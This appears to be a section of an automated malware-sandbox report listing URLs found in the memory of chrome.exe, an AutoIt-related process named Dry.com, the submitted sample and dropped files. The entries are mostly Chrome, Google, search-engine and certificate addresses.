Source: chrome.exe, 0000000F.00000003.2045245740.0000335C0111C000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 0000000F.00000003.2037713026.0000335C0106C000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 0000000F.00000003.2045652191.0000335C0120C000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 0000000F.00000003.2044701167.0000335C007AC000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 0000000F.00000003.2044657483.0000335C007DC000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 0000000F.00000003.2045107909.0000335C003B0000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 0000000F.00000003.2038321277.0000335C01038000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 0000000F.00000003.2037533554.0000335C00EE8000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 0000000F.00000003.2044625142.0000335C00C80000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 0000000F.00000003.2044790316.0000335C00F3C000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 0000000F.00000003.2037761626.0000335C00F14000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 0000000F.00000003.2037675980.0000335C0101C000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://polymer.github.io/LICENSE.txt
Source: chrome.exe, 0000000F.00000003.2045245740.0000335C0111C000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 0000000F.00000003.2037713026.0000335C0106C000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 0000000F.00000003.2045652191.0000335C0120C000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 0000000F.00000003.2044701167.0000335C007AC000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 0000000F.00000003.2044657483.0000335C007DC000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 0000000F.00000003.2045107909.0000335C003B0000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 0000000F.00000003.2038321277.0000335C01038000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 0000000F.00000003.2037533554.0000335C00EE8000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 0000000F.00000003.2044625142.0000335C00C80000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 0000000F.00000003.2044790316.0000335C00F3C000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 0000000F.00000003.2037761626.0000335C00F14000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 0000000F.00000003.2037675980.0000335C0101C000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://polymer.github.io/PATENTS.txt
Source: Dry.com.1.dr, Saved.0.dr	String found in binary or memory: http://secure.globalsign.com/cacert/gscodesignsha2g3ocsp.crt08
Source: Dry.com.1.dr, Saved.0.dr	String found in binary or memory: http://secure.globalsign.com/cacert/gstsacasha384g4.crt0
Source: Dry.com, 0000000A.00000002.2457799916.0000000000BB5000.00000002.00000001.01000000.00000007.sdmp, Dry.com.1.dr, Volunteer.0.dr	String found in binary or memory: http://www.autoitscript.com/autoit3/X
Source: 9EI7wrGs4K.exe	String found in binary or memory: http://www.ssl.com/repository/SSLcom-RootCA-EV-RSA-4096-R2.crt0
Source: Dry.com, 0000000A.00000002.2459089556.00000000016BF000.00000004.00000020.00020000.00000000.sdmp, EKXT2N.10.dr	String found in binary or memory: https://ac.ecosia.org/autocomplete?q=
Source: chrome.exe, 0000000F.00000003.2056228731.0000335C00294000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://accounts.google.com/_/IdentityListAccountsHttp/cspreport
Source: chrome.exe, 0000000F.00000003.2056228731.0000335C00294000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://accounts.google.com/_/IdentityListAccountsHttp/cspreport/allowlist
Source: chrome.exe, 0000000F.00000003.2056228731.0000335C00294000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://accounts.google.com/_/IdentityListAccountsHttp/cspreport/fine-allowlist
Source: chrome.exe, 0000000F.00000003.2066144141.0000335C0280C000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://aida.googleapis.com/v1/aida:doConversation2
Source: chrome.exe, 0000000F.00000003.2032463490.0000335C007AC000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 0000000F.00000003.2029625443.0000335C00390000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 0000000F.00000003.2032436909.0000335C00390000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://anglebug.com/4830
Source: chrome.exe, 0000000F.00000003.2032463490.0000335C007AC000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 0000000F.00000003.2029625443.0000335C00390000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 0000000F.00000003.2032436909.0000335C00390000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://anglebug.com/4966
Source: chrome.exe, 0000000F.00000003.2032463490.0000335C007AC000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 0000000F.00000003.2029625443.0000335C00390000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 0000000F.00000003.2032436909.0000335C00390000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://anglebug.com/5845
Source: chrome.exe, 0000000F.00000003.2032463490.0000335C007AC000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 0000000F.00000003.2029625443.0000335C00390000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 0000000F.00000003.2032436909.0000335C00390000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://anglebug.com/6574
Source: chrome.exe, 0000000F.00000003.2032463490.0000335C007AC000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 0000000F.00000003.2029625443.0000335C00390000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 0000000F.00000003.2032436909.0000335C00390000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://anglebug.com/7161
Source: chrome.exe, 0000000F.00000003.2032463490.0000335C007AC000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 0000000F.00000003.2029625443.0000335C00390000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 0000000F.00000003.2032436909.0000335C00390000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://anglebug.com/7162
Source: chrome.exe, 0000000F.00000003.2032463490.0000335C007AC000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 0000000F.00000003.2029625443.0000335C00390000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 0000000F.00000003.2032436909.0000335C00390000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://anglebug.com/7246
Source: chrome.exe, 0000000F.00000003.2032463490.0000335C007AC000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 0000000F.00000003.2029625443.0000335C00390000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 0000000F.00000003.2032436909.0000335C00390000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://anglebug.com/7308
Source: chrome.exe, 0000000F.00000003.2032463490.0000335C007AC000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 0000000F.00000003.2029625443.0000335C00390000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 0000000F.00000003.2032436909.0000335C00390000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://anglebug.com/7319
Source: chrome.exe, 0000000F.00000003.2032463490.0000335C007AC000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 0000000F.00000003.2029625443.0000335C00390000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 0000000F.00000003.2032436909.0000335C00390000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://anglebug.com/7320
Source: chrome.exe, 0000000F.00000003.2032463490.0000335C007AC000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 0000000F.00000003.2029625443.0000335C00390000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 0000000F.00000003.2032436909.0000335C00390000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://anglebug.com/7369
Source: chrome.exe, 0000000F.00000003.2032463490.0000335C007AC000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 0000000F.00000003.2029625443.0000335C00390000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 0000000F.00000003.2032436909.0000335C00390000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://anglebug.com/7382
Source: chrome.exe, 0000000F.00000003.2032463490.0000335C007AC000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 0000000F.00000003.2029625443.0000335C00390000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 0000000F.00000003.2032436909.0000335C00390000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://anglebug.com/7489
Source: chrome.exe, 0000000F.00000003.2032463490.0000335C007AC000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 0000000F.00000003.2029625443.0000335C00390000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 0000000F.00000003.2032436909.0000335C00390000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://anglebug.com/7604
Source: chrome.exe, 0000000F.00000003.2032463490.0000335C007AC000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 0000000F.00000003.2029625443.0000335C00390000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 0000000F.00000003.2032436909.0000335C00390000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://anglebug.com/7714
Source: chrome.exe, 0000000F.00000003.2032463490.0000335C007AC000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 0000000F.00000003.2029625443.0000335C00390000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 0000000F.00000003.2032436909.0000335C00390000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://anglebug.com/7847
Source: chrome.exe, 0000000F.00000003.2032463490.0000335C007AC000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 0000000F.00000003.2029625443.0000335C00390000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 0000000F.00000003.2032436909.0000335C00390000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://anglebug.com/7899
Source: chrome.exe, 0000000F.00000003.2082270243.0000335C0300C000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 0000000F.00000003.2078008068.0000335C03098000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 0000000F.00000003.2078919962.0000335C03054000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 0000000F.00000003.2084233769.0000335C01C18000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://apis.google.com
Source: Dry.com, 0000000A.00000002.2459089556.00000000016BF000.00000004.00000020.00020000.00000000.sdmp, Dry.com, 0000000A.00000002.2459819787.0000000003C92000.00000004.00000800.00020000.00000000.sdmp, UKX479.10.dr	String found in binary or memory: https://bridge.lga1.admarketplace.net/ctp?version=16.0.0&key=1696332238301000001.2&ci=1696332238417.
Source: Dry.com, 0000000A.00000002.2459089556.00000000016BF000.00000004.00000020.00020000.00000000.sdmp, Dry.com, 0000000A.00000002.2459819787.0000000003C92000.00000004.00000800.00020000.00000000.sdmp, UKX479.10.dr	String found in binary or memory: https://bridge.lga1.ap01.net/ctp?version=16.0.0&key=1696332238301000001.1&ci=1696332238417.12791&cta
Source: Dry.com, 0000000A.00000002.2459089556.00000000016BF000.00000004.00000020.00020000.00000000.sdmp, EKXT2N.10.dr	String found in binary or memory: https://cdn.ecosia.org/assets/images/ico/favicon.icohttps://www.ecosia.org/search?q=
Source: chrome.exe, 0000000F.00000003.2061483140.0000335C00BD4000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 0000000F.00000003.2034211424.0000335C00BD8000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 0000000F.00000003.2058149908.0000335C00BD4000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 0000000F.00000003.2045029197.0000335C00BD4000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 0000000F.00000003.2084657572.0000335C00BD8000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://ch.search.yahoo.com/favicon.ico
Source: chrome.exe, 0000000F.00000003.2061483140.0000335C00BD4000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 0000000F.00000003.2034211424.0000335C00BD8000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 0000000F.00000003.2058149908.0000335C00BD4000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 0000000F.00000003.2045029197.0000335C00BD4000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 0000000F.00000003.2084657572.0000335C00BD8000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://ch.search.yahoo.com/favicon.icofrom_play_api
Source: Dry.com, 0000000A.00000002.2459089556.00000000016BF000.00000004.00000020.00020000.00000000.sdmp, EKXT2N.10.dr	String found in binary or memory: https://ch.search.yahoo.com/favicon.icohttps://ch.search.yahoo.com/search
Source: Dry.com, 0000000A.00000002.2459089556.00000000016BF000.00000004.00000020.00020000.00000000.sdmp, EKXT2N.10.dr	String found in binary or memory: https://ch.search.yahoo.com/sugg/chrome?output=fxjson&appid=crmas&command=
Source: chrome.exe, 0000000F.00000003.2036290539.0000335C00CC4000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://chrome.google.com/webstore
Source: chrome.exe, 0000000F.00000003.2044447862.0000335C0033C000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 0000000F.00000003.2052211296.0000335C00CC4000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 0000000F.00000003.2033004820.0000335C00C98000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 0000000F.00000003.2032887424.0000335C00C80000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 0000000F.00000003.2037451733.0000335C00C98000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 0000000F.00000003.2034342009.0000335C00C90000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 0000000F.00000003.2036290539.0000335C00CC4000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://chrome.google.com/webstoreLDDiscover
Source: chrome.exe, 0000000F.00000003.2020054096.00002594003AC000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 0000000F.00000003.2019787344.00002594003A0000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 0000000F.00000003.2066144141.0000335C0280C000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://chromekanonymity-pa.googleapis.com/2%
Source: chrome.exe, 0000000F.00000003.2020054096.00002594003AC000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 0000000F.00000003.2019787344.00002594003A0000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 0000000F.00000003.2066144141.0000335C0280C000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://chromekanonymityauth-pa.googleapis.com/2$
Source: chrome.exe, 0000000F.00000003.2074257167.0000335C02A0C000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://chromekanonymityquery-pa.googleapis.com/
Source: chrome.exe, 0000000F.00000003.2020054096.00002594003AC000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 0000000F.00000003.2019787344.00002594003A0000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 0000000F.00000003.2066144141.0000335C0280C000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://chromekanonymityquery-pa.googleapis.com/2O
Source: chrome.exe, 0000000F.00000003.2016125258.000075F8002DC000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 0000000F.00000003.2016145639.000075F8002E8000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://clients2.google.com/cr/report
Source: chrome.exe, 0000000F.00000003.2061483140.0000335C00BD4000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 0000000F.00000003.2034211424.0000335C00BD8000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 0000000F.00000003.2024387096.0000335C00490000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 0000000F.00000003.2058149908.0000335C00BD4000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 0000000F.00000003.2045029197.0000335C00BD4000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 0000000F.00000003.2084657572.0000335C00BD8000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://clients2.google.com/service/update2/crx
Source: Dry.com, 0000000A.00000002.2459089556.00000000016BF000.00000004.00000020.00020000.00000000.sdmp, Dry.com, 0000000A.00000002.2459819787.0000000003C92000.00000004.00000800.00020000.00000000.sdmp, UKX479.10.dr	String found in binary or memory: https://contile-images.services.mozilla.com/0TegrVVRalreHILhR2WvtD_CFzj13HCDcLqqpvXSOuY.10862.jpg
Source: Dry.com, 0000000A.00000002.2459089556.00000000016BF000.00000004.00000020.00020000.00000000.sdmp, Dry.com, 0000000A.00000002.2459819787.0000000003C92000.00000004.00000800.00020000.00000000.sdmp, UKX479.10.dr	String found in binary or memory: https://contile-images.services.mozilla.com/obgoOYObjIFea_bXuT6L4LbBJ8j425AD87S1HMD3BWg.9991.jpg
Source: chrome.exe, 0000000F.00000003.2077583971.0000335C02FB0000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://csp.withgoogle.com/csp/report-to/gws/none
Source: chrome.exe, 0000000F.00000003.2024387096.0000335C00490000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://docs.google.com/
Source: chrome.exe, 0000000F.00000003.2074915631.0000335C02A98000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://docs.google.com/document/d/1z2sdBwnUF2tSlhl3R2iUlk7gvmSbuLVXOgriPIcJkXQ/preview
Source: chrome.exe, 0000000F.00000003.2066144141.0000335C0280C000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://docs.google.com/document/d/1z2sdBwnUF2tSlhl3R2iUlk7gvmSbuLVXOgriPIcJkXQ/preview29
Source: chrome.exe, 0000000F.00000003.2024387096.0000335C00490000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://drive-autopush.corp.google.com/
Source: chrome.exe, 0000000F.00000003.2024387096.0000335C00490000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://drive-daily-0.corp.google.com/
Source: chrome.exe, 0000000F.00000003.2024387096.0000335C00490000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://drive-daily-1.corp.google.com/
Source: chrome.exe, 0000000F.00000003.2024387096.0000335C00490000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://drive-daily-2.corp.google.com/
Source: chrome.exe, 0000000F.00000003.2024387096.0000335C00490000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://drive-daily-3.corp.google.com/
Source: chrome.exe, 0000000F.00000003.2024387096.0000335C00490000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://drive-daily-4.corp.google.com/
Source: chrome.exe, 0000000F.00000003.2024387096.0000335C00490000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://drive-daily-5.corp.google.com/
Source: chrome.exe, 0000000F.00000003.2024387096.0000335C00490000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://drive-daily-6.corp.google.com/
Source: chrome.exe, 0000000F.00000003.2024387096.0000335C00490000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://drive-preprod.corp.google.com/
Source: chrome.exe, 0000000F.00000003.2024387096.0000335C00490000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://drive-staging.corp.google.com/
Source: chrome.exe, 0000000F.00000003.2045107909.0000335C003B0000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://drive-thirdparty.googleusercontent.com/32/type/
Source: chrome.exe, 0000000F.00000003.2024387096.0000335C00490000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://drive.google.com/
Source: chrome.exe, 0000000F.00000003.2061483140.0000335C00BD4000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 0000000F.00000003.2034211424.0000335C00BD8000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 0000000F.00000003.2058149908.0000335C00BD4000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 0000000F.00000003.2045029197.0000335C00BD4000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 0000000F.00000003.2084657572.0000335C00BD8000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://duckduckgo.com/?q=
Source: Dry.com, 0000000A.00000002.2459089556.00000000016BF000.00000004.00000020.00020000.00000000.sdmp, EKXT2N.10.dr	String found in binary or memory: https://duckduckgo.com/ac/?q=
Source: Dry.com, 0000000A.00000002.2459089556.00000000016BF000.00000004.00000020.00020000.00000000.sdmp, chrome.exe, 0000000F.00000003.2061483140.0000335C00BD4000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 0000000F.00000003.2034211424.0000335C00BD8000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 0000000F.00000003.2058149908.0000335C00BD4000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 0000000F.00000003.2045029197.0000335C00BD4000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 0000000F.00000003.2084657572.0000335C00BD8000.00000004.00000800.00020000.00000000.sdmp, EKXT2N.10.dr	String found in binary or memory: https://duckduckgo.com/chrome_newtab
Source: chrome.exe, 0000000F.00000003.2061483140.0000335C00BD4000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 0000000F.00000003.2034211424.0000335C00BD8000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 0000000F.00000003.2058149908.0000335C00BD4000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 0000000F.00000003.2045029197.0000335C00BD4000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 0000000F.00000003.2084657572.0000335C00BD8000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://duckduckgo.com/chrome_newtabo
Source: chrome.exe, 0000000F.00000003.2061483140.0000335C00BD4000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 0000000F.00000003.2034211424.0000335C00BD8000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 0000000F.00000003.2058149908.0000335C00BD4000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 0000000F.00000003.2045029197.0000335C00BD4000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 0000000F.00000003.2084657572.0000335C00BD8000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://duckduckgo.com/favicon.ico
Source: Dry.com, 0000000A.00000002.2459089556.00000000016BF000.00000004.00000020.00020000.00000000.sdmp, EKXT2N.10.dr	String found in binary or memory: https://duckduckgo.com/favicon.icohttps://duckduckgo.com/?q=
Source: chrome.exe, 0000000F.00000003.2061483140.0000335C00BD4000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 0000000F.00000003.2034211424.0000335C00BD8000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 0000000F.00000003.2058149908.0000335C00BD4000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 0000000F.00000003.2045029197.0000335C00BD4000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 0000000F.00000003.2084657572.0000335C00BD8000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://duckduckgo.com/favicon.icondTripTime
Source: chrome.exe, 0000000F.00000003.2074257167.0000335C02A0C000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://google-ohttp-relay-join.fastly-edge.com/
Source: chrome.exe, 0000000F.00000003.2074257167.0000335C02A0C000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://google-ohttp-relay-join.fastly-edge.com/%
Source: chrome.exe, 0000000F.00000003.2074257167.0000335C02A0C000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://google-ohttp-relay-join.fastly-edge.com/(
Source: chrome.exe, 0000000F.00000003.2074257167.0000335C02A0C000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://google-ohttp-relay-join.fastly-edge.com/2
Source: chrome.exe, 0000000F.00000003.2020054096.00002594003AC000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 0000000F.00000003.2019787344.00002594003A0000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 0000000F.00000003.2066144141.0000335C0280C000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://google-ohttp-relay-join.fastly-edge.com/2J
Source: chrome.exe, 0000000F.00000003.2074257167.0000335C02A0C000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://google-ohttp-relay-join.fastly-edge.com/5
Source: chrome.exe, 0000000F.00000003.2074257167.0000335C02A0C000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://google-ohttp-relay-join.fastly-edge.com/9
Source: chrome.exe, 0000000F.00000003.2074257167.0000335C02A0C000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://google-ohttp-relay-join.fastly-edge.com/;
Source: chrome.exe, 0000000F.00000003.2074257167.0000335C02A0C000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://google-ohttp-relay-join.fastly-edge.com/R
Source: chrome.exe, 0000000F.00000003.2020338956.0000259400694000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://google-ohttp-relay-join.fastly-edge.com/hk
Source: chrome.exe, 0000000F.00000003.2020338956.0000259400694000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 0000000F.00000003.2074257167.0000335C02A0C000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://google-ohttp-relay-query.fastly-edge.com/
Source: chrome.exe, 0000000F.00000003.2020054096.00002594003AC000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 0000000F.00000003.2019787344.00002594003A0000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 0000000F.00000003.2066144141.0000335C0280C000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://google-ohttp-relay-query.fastly-edge.com/2P
Source: chrome.exe, 0000000F.00000003.2020338956.0000259400694000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://google-ohttp-relay-query.fastly-edge.com/https://chromekanonymityquery-pa.googleapis.com/Ena
Source: chrome.exe, 0000000F.00000003.2020338956.0000259400694000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://google-ohttp-relay-query.fastly-edge.com/https://chromekanonymityquery-pa.googleapis.com/htt
Source: chrome.exe, 0000000F.00000003.2074257167.0000335C02A0C000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 0000000F.00000003.2074815994.0000335C02A10000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://google-ohttp-relay-safebrowsing.fastly-edge.com/
Source: chrome.exe, 0000000F.00000003.2066144141.0000335C0280C000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://google-ohttp-relay-safebrowsing.fastly-edge.com/b
Source: chrome.exe, 0000000F.00000003.2066144141.0000335C0280C000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://goto.google.com/sme-bugs27
Source: chrome.exe, 0000000F.00000003.2066144141.0000335C0280C000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://goto.google.com/sme-bugs2e
Source: UKX479.10.dr	String found in binary or memory: https://imp.mt48.net/static?id=7RHzfOIXjFEYsBdvIpkX4QqmfZfYfQfafZbXfpbWfpbX7ReNxR3UIG8zInwYIFIVs9eYi
Source: chrome.exe, 0000000F.00000003.2032436909.0000335C00390000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://issuetracker.google.com/161903006
Source: chrome.exe, 0000000F.00000003.2032436909.0000335C00390000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://issuetracker.google.com/166809097
Source: chrome.exe, 0000000F.00000003.2032436909.0000335C00390000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://issuetracker.google.com/184850002
Source: chrome.exe, 0000000F.00000003.2032436909.0000335C00390000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://issuetracker.google.com/187425444
Source: chrome.exe, 0000000F.00000003.2032436909.0000335C00390000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://issuetracker.google.com/220069903
Source: chrome.exe, 0000000F.00000003.2032436909.0000335C00390000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://issuetracker.google.com/229267970
Source: chrome.exe, 0000000F.00000003.2032436909.0000335C00390000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://issuetracker.google.com/250706693
Source: chrome.exe, 0000000F.00000003.2032436909.0000335C00390000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://issuetracker.google.com/253522366
Source: chrome.exe, 0000000F.00000003.2032436909.0000335C00390000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://issuetracker.google.com/255411748
Source: chrome.exe, 0000000F.00000003.2032436909.0000335C00390000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://issuetracker.google.com/258207403
Source: chrome.exe, 0000000F.00000003.2032436909.0000335C00390000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://issuetracker.google.com/274859104
Source: chrome.exe, 0000000F.00000003.2032436909.0000335C00390000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://issuetracker.google.com/284462263
Source: chrome.exe, 0000000F.00000003.2032436909.0000335C00390000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://issuetracker.google.com/issues/166475273
Source: chrome.exe, 0000000F.00000003.2066823112.0000335C02D84000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://labs.google.com/search/experiment/2
Source: chrome.exe, 0000000F.00000003.2066823112.0000335C02D84000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://labs.google.com/search/experiment/2/springboard
